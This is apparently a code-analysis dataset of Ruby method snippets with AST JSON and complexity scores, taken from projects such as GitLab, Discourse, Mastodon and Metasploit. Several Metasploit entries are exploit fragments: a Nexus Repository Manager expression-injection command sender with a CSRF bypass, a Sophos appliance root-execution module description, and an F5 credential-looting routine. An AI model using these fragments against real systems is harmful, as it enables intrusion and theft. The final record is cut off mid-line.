{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user_stat.rb","start_line":301,"raw_source":"def self.cache_last_seen(id, val)\n    Discourse.redis.setex(last_seen_key(id), MAX_TIME_READ_DIFF, val)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"cache_last_seen\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]},{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"redis\"]},\"setex\",{\"type\":\"send\",\"children\":[null,\"last_seen_key\",{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"const\",\"children\":[null,\"MAX_TIME_READ_DIFF\"]},{\"type\":\"lvar\",\"children\":[\"val\"]}]}]}","id":"a031541e-07e8-427a-8252-69aa9362cc94"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/linux/gather/f5_loot_mcp.rb","start_line":150,"raw_source":"def gather_db_variables\n    print_status('Fetching db variables from MCP (this takes a bit)...')\n    vars = mcp_simple_query('db_variable')\n\n    unless vars\n      print_error('Failed to query db variables')\n      return\n    end\n\n    vars.each do |v|\n      print_good \"#{v['db_variable_name']} => #{v['db_variable_value']}\"\n    end\n  end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"gather_db_variables\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Fetching db variables from MCP (this takes a bit)...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"vars\",{\"type\":\"send\",\"children\":[null,\"mcp_simple_query\",{\"type\":\"str\",\"children\":[\"db_variable\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vars\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Failed to query db variables\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vars\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"[]\",{\"type\":\"str\",\"children\":[\"db_variable_name\"]}]}]},{\"type\":\"str\",\"children\":[\" => \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"[]\",{\"type\":\"str\",\"children\":[\"db_variable_value\"]}]}]}]}]}]}]}]}","id":"109b3f61-cece-4a11-bf97-ee8d8f9e96ed"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/workers/copy_project_job.rb","start_line":75,"raw_source":"def successful_status_update(target_project, errors)\n    payload = redirect_payload(url_helpers.project_url(target_project)).merge(hal_links(target_project))\n\n    if errors.any?\n      payload[:errors] = errors\n    end\n\n    upsert_status status: :success,\n                  message: I18n.t(\"copy_project.succeeded\", target_project_name: target_project.name),\n                  payload:\n  end","complexity_score":14.1,"ast_json":"{\"type\":\"def\",\"children\":[\"successful_status_update\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target_project\"]},{\"type\":\"arg\",\"children\":[\"errors\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redirect_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url_helpers\"]},\"project_url\",{\"type\":\"lvar\",\"children\":[\"target_project\"]}]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"hal_links\",{\"type\":\"lvar\",\"children\":[\"target_project\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"lvar\",\"children\":[\"errors\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"upsert_status\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"success\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"copy_project.succeeded\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_project_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_project\"]},\"name\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}]}]}","id":"8976d2f8-f3bf-4ca7-a855-650f1be989dd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/nexus_repo_manager_el_injection.rb","start_line":142,"raw_source":"def execute_command(cmd, opts = {})\n    vprint_status(\"Executing command: #{cmd}\")\n\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path,\n                             '/service/rest/beta/repositories/go/group'),\n      # HACK: Bypass CSRF token with random User-Agent header\n      'agent' => rand_text_english(8..42),\n      'cookie' => opts[:cookie],\n      'ctype' => 'application/json',\n      'data' => json_payload(cmd)\n    )\n\n    unless res\n      fail_with(Failure::Unreachable, \"Target did not respond to #{__method__}\")\n    end\n\n    unless res.code == 400 && res.body.match(/java\\.lang\\.UNIXProcess@\\h+/)\n      fail_with(Failure::PayloadFailed, \"Could not execute command: #{cmd}\")\n    end\n\n    print_good(\"Successfully executed command: #{cmd}\")\n  end","complexity_score":24.43,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing command: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/service/rest/beta/repositories/go/group\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"agent\"]},{\"type\":\"send\",\"children\":[null,\"rand_text_english\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[42]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cookie\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[null,\"json_payload\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Target did not respond to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"__method__\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[400]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"java\\\\.lang\\\\.UNIXProcess@\\\\h+\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"PayloadFailed\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not execute command: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Successfully executed command: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}]}]}","id":"19663031-3ddd-4d3c-b5cc-d24c0fe8e219"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/boards/lists/create.rb","start_line":26,"raw_source":"def create_list(board, params)\n          create_list_service =\n            ::Boards::Lists::CreateService.new(board.resource_parent, current_user, params)\n\n          create_list_service.execute(board)\n        end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_list\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"board\"]},{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"create_list_service\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Boards\"]},\"Lists\"]},\"CreateService\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"board\"]},\"resource_parent\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"create_list_service\"]},\"execute\",{\"type\":\"lvar\",\"children\":[\"board\"]}]}]}]}","id":"072b0e5e-8e73-47f6-aaa9-f3d0da0be9a3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/sophos_wpa_iface_exec.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Sophos Web Protection Appliance Interface Authenticated Arbitrary Command Execution',\n        'Description' => %q{\n          This module takes advantage of two vulnerabilities in order to gain remote code execution as root\n          as an otherwise non-privileged authorized user. By taking advantage of a mass assignment\n          vulnerability that allows an unprivileged authenticated user to change the administrator's\n          password hash, the module updates the password to login as the admin to reach the second vulnerability.\n          No server-side sanitization is done on values passed when configuring a static network interface.\n          This allows an administrator user to run arbitrary commands in the context of the web application,\n          which is root when configuring the network interface. This module will inadvertently delete\n          any other users that may have been present as a side effect of changing the admin's password.\n        },\n        'Author' => [\n          'Brandon Perry <bperry.volatile[at]gmail.com>' # discovery and Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2014-2849'],\n          ['CVE', '2014-2850'],\n          ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-14-069/']\n        ],\n        'Platform' => ['unix'],\n        'Arch' => ARCH_CMD,\n        'Privileged' => true,\n        'Payload' => {\n          'Space' => 500,\n          'DisableNops' => true,\n          'BadChars' => \"\", # base64 encryption ftw!\n          'Compat' =>\n                        {\n                          'PayloadType' => 'cmd',\n                          'RequiredCmd' => 'generic telnet'\n                        }\n        },\n        'Targets' => [\n          [ 'Sophos Web Protection Appliance 3.8.1.1', {}]\n        ],\n        'DefaultOptions' => {\n          'SSL' => true\n        },\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2014-04-08',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),\n        OptString.new('PASSWORD', [true, 'The password to authenticate with', nil]),\n        OptString.new('TARGETURI', [true, 'The target URI', '/']),\n        Opt::RPORT(443)\n      ],\n      self.class\n    )\n  end","complexity_score":10.65,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Sophos Web Protection Appliance Interface Authenticated Arbitrary Command Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module takes advantage of two vulnerabilities in order to gain remote code execution as root\\n\"]},{\"type\":\"str\",\"children\":[\"          as an otherwise non-privileged authorized user. By taking advantage of a mass assignment\\n\"]},{\"type\":\"str\",\"children\":[\"          vulnerability that allows an unprivileged authenticated user to change the administrator's\\n\"]},{\"type\":\"str\",\"children\":[\"          password hash, the module updates the password to login as the admin to reach the second vulnerability.\\n\"]},{\"type\":\"str\",\"children\":[\"          No server-side sanitization is done on values passed when configuring a static network interface.\\n\"]},{\"type\":\"str\",\"children\":[\"          This allows an administrator user to run arbitrary commands in the context of the web application,\\n\"]},{\"type\":\"str\",\"children\":[\"          which is root when configuring the network interface. This module will inadvertently delete\\n\"]},{\"type\":\"str\",\"children\":[\"          any other users that may have been present as a side effect of changing the admin's password.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Brandon Perry <bperry.volatile[at]gmail.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2014-2849\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2014-2850\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.zerodayinitiative.com/advisories/ZDI-14-069/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[500]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiredCmd\"]},{\"type\":\"str\",\"children\":[\"generic telnet\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Sophos Web Protection Appliance 3.8.1.1\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2014-04-08\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The username to authenticate as\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The password to authenticate with\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The target URI\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[443]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]}]}]}","id":"bbd10496-aef2-4d4a-b74c-433ab5240fdc"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/connection_pool/shared_timed_stack.rb","start_line":41,"raw_source":"def empty?\n    size.zero?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"empty?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"size\"]},\"zero?\"]}]}","id":"11225fe6-c3c8-463b-9af6-e20268613371"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/merge_requests_helper.rb","start_line":401,"raw_source":"def merge_request_header(merge_request)\n    link_to_author = link_to_member(merge_request.author, size: 24, extra_class: 'gl-font-bold gl-mr-2', avatar: false)\n    target_branch_class = \"ref-container gl-inline-block gl-truncate gl-max-w-26 gl-shrink-0\"\n    copy_action_description = _('Copy branch name')\n    copy_action_shortcut = 'b'\n    copy_button_title = \"#{copy_action_description} <kbd class='flat gl-ml-2' \" \\\n      \"aria-hidden=true>#{copy_action_shortcut}</kbd>\"\n\n    target_branch_class = if @project.default_branch != merge_request.target_branch\n                            \"#{target_branch_class} gl-ml-2\"\n                          else\n                            \"#{target_branch_class} gl-mx-2\"\n                          end\n\n    copy_button = clipboard_button(\n      text: merge_request.source_branch,\n      title: copy_button_title,\n      aria_keyshortcuts: copy_action_shortcut,\n      aria_label: copy_action_description,\n      class: '!gl-hidden @md/panel:!gl-inline-block gl-mx-1 js-source-branch-copy'\n    )\n\n    target_copy_button = clipboard_button(\n      text: merge_request.target_branch,\n      title: copy_action_description,\n      aria_label: copy_action_description,\n      class: '!gl-hidden @md/panel:!gl-inline-block gl-mx-1'\n    )\n\n    target_branch = link_to merge_request.target_branch,\n      project_tree_path(merge_request.target_project, merge_request.target_branch),\n      title: merge_request.target_branch,\n      class: target_branch_class\n\n    copy_button_data = {\n      author: link_to_author.html_safe,\n      source_branch: merge_request_source_branch(merge_request).html_safe,\n      copy_button: copy_button.html_safe,\n      target_branch: target_branch.html_safe,\n      target_copy_button: \" \",\n      created_at: time_ago_with_tooltip(merge_request.created_at, html_class: 'gl-inline-block').html_safe,\n      author_container_start: '<div class=\"merge-request-author-container\">'.html_safe,\n      author_container_end: '</div>'.html_safe\n    }\n\n    if @project.default_branch != merge_request.target_branch\n      copy_button_data[:target_copy_button] = target_copy_button.html_safe\n    end\n\n    safe_format(_(\n      '%{author_container_start}%{author}requested to merge %{author_container_end}%{source_branch} %{copy_button} ' \\\n        'into %{target_branch} %{target_copy_button} %{created_at}'\n    ), copy_button_data)\n  end","complexity_score":49.3,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_request_header\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"link_to_author\",{\"type\":\"send\",\"children\":[null,\"link_to_member\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"author\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"int\",\"children\":[24]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"extra_class\"]},{\"type\":\"str\",\"children\":[\"gl-font-bold gl-mr-2\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"avatar\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target_branch_class\",{\"type\":\"str\",\"children\":[\"ref-container gl-inline-block gl-truncate gl-max-w-26 gl-shrink-0\"]}]},{\"type\":\"lvasgn\",\"children\":[\"copy_action_description\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Copy branch name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"copy_action_shortcut\",{\"type\":\"str\",\"children\":[\"b\"]}]},{\"type\":\"lvasgn\",\"children\":[\"copy_button_title\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"copy_action_description\"]}]},{\"type\":\"str\",\"children\":[\" <kbd class='flat gl-ml-2' \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"aria-hidden=true>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"copy_action_shortcut\"]}]},{\"type\":\"str\",\"children\":[\"</kbd>\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target_branch_class\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"default_branch\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"target_branch\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_branch_class\"]}]},{\"type\":\"str\",\"children\":[\" gl-ml-2\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_branch_class\"]}]},{\"type\":\"str\",\"children\":[\" gl-mx-2\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"copy_button\",{\"type\":\"send\",\"children\":[null,\"clipboard_button\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"source_branch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"lvar\",\"children\":[\"copy_button_title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"aria_keyshortcuts\"]},{\"type\":\"lvar\",\"children\":[\"copy_action_shortcut\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"aria_label\"]},{\"type\":\"lvar\",\"children\":[\"copy_action_description\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"!gl-hidden @md/panel:!gl-inline-block gl-mx-1 js-source-branch-copy\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target_copy_button\",{\"type\":\"send\",\"children\":[null,\"clipboard_button\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"target_branch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"lvar\",\"children\":[\"copy_action_description\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"aria_label\"]},{\"type\":\"lvar\",\"children\":[\"copy_action_description\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"!gl-hidden @md/panel:!gl-inline-block gl-mx-1\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target_branch\",{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"target_branch\"]},{\"type\":\"send\",\"children\":[null,\"project_tree_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"target_project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"target_branch\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"target_branch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"lvar\",\"children\":[\"target_branch_class\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"copy_button_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link_to_author\"]},\"html_safe\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_branch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request_source_branch\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]},\"html_safe\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"copy_button\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"copy_button\"]},\"html_safe\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_branch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_branch\"]},\"html_safe\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_copy_button\"]},{\"type\":\"str\",\"